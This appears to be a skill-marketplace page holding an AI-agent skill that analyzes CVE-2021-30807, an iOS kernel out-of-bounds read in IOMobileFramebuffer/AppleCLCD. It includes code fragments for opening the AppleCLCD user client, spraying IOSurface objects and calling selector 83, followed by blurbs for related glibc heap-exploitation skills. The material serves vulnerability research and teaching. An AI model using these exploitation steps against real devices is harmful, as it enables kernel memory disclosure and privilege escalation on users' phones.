skills/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer/SKILL.md
Analyze and understand CVE-2021-30807, an iOS kernel out-of-bounds read vulnerability in IOMobileFramebuffer/AppleCLCD. Use this skill when researching iOS kernel exploits, studying IOMobileFramebuffer vulnerabilities, analyzing selector 83 exploitation, understanding IOSurface heap spraying techniques, or examining the OOB pointer read + type confusion primitive. Trigger for any questions about this specific CVE, iOS kernel user client exploitation, or when analyzing the Saar Amar PoC code.
npx skillsauth add abelrguezr/hacktricks-skills cve-2021-30807-analysisInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
A skill for understanding and analyzing CVE-2021-30807, an out-of-bounds read vulnerability in iOS kernel's IOMobileFramebuffer/AppleCLCD that enables arbitrary kernel reads.
Affected Versions:
Vulnerability Type: Out-of-bounds pointer read + type confusion
Impact: Arbitrary kernel read primitive (can lead to LPE with additional techniques)
Entitlement Required: com.apple.private.allow-explicit-graphics-priority (available to WebKit.WebContent)
Userland → IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
→ IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)
→ ptr = *(this + 0xA58 + scalar0 * 8) // OOB READ
→ IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
User-controlled index: scalar0 is a 32-bit value passed from userland with no bounds checking
OOB pointer fetch: The kernel reads from this + 0xA58 + index*8 where index = scalar0
Type confusion: The fetched pointer is cast to IOSurface* and passed to IOSurface code
Result:
// Find AppleCLCD service in IORegistry
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
// Open user client type 2 (exposes selector 83)
IOServiceOpen(service, mach_task_self(), 2, &user_client_conn);
Why type 2? This user client variant exposes the external methods table containing selector 83.
The spray populates kernel heap with valid IOSurface objects so the OOB read hits something legitimate:
// Create many IOSurfaces
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);
// Spray small values to fill kalloc regions
IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, data, sizeof(data), NULL);
}
Goal: When selector 83 reads past the legitimate array, it likely hits a pointer to one of your sprayed IOSurfaces.
// Convert byte offset to pointer slot index (8 bytes per slot on 64-bit)
uint64_t scalars[1] = { offset / 8 };
// Call selector 83
IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
// Returns Mach port name (u32 handle) to the IOSurface at OOB slot
The offset/8 trick: The kernel computes base + index*8, so you specify slot number, not byte offset.
The call returns a Mach port name (not a raw address). You can then:
s_lookup_surface_from_port (method 34) → convert port to surface IDs_create_port_from_surface (method 35) → inverse operationIOSurface is a classic kernel spray primitive because:
The vulnerability doesn't just read OOB—it misinterprets what it reads:
IOSurface*IOSurfaceRoot::copyPortNameForSurfaceInTask()This is more powerful than a simple OOB read because it gives you a handle to kernel memory.
The vulnerable method requires com.apple.private.allow-explicit-graphics-priority, but:
When analyzing this CVE or similar vulnerabilities:
This vulnerability is part of a pattern of IOMobileFramebuffer exploits:
For security researchers studying this CVE:
Understand the primitive: This is an arbitrary read, not arbitrary write. LPE requires additional techniques.
Study the spray: The IOSurface spray is critical—without it, the OOB read hits garbage and causes DoS.
Port names matter: The return value is a Mach port, not an address. This affects how you use the primitive.
Context is key: The entitlement requirement limits exploitation to WebKit.WebContent context.
Patch analysis: Compare vulnerable vs. patched code to understand the fix (bounds checking added).
Use this skill when:
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.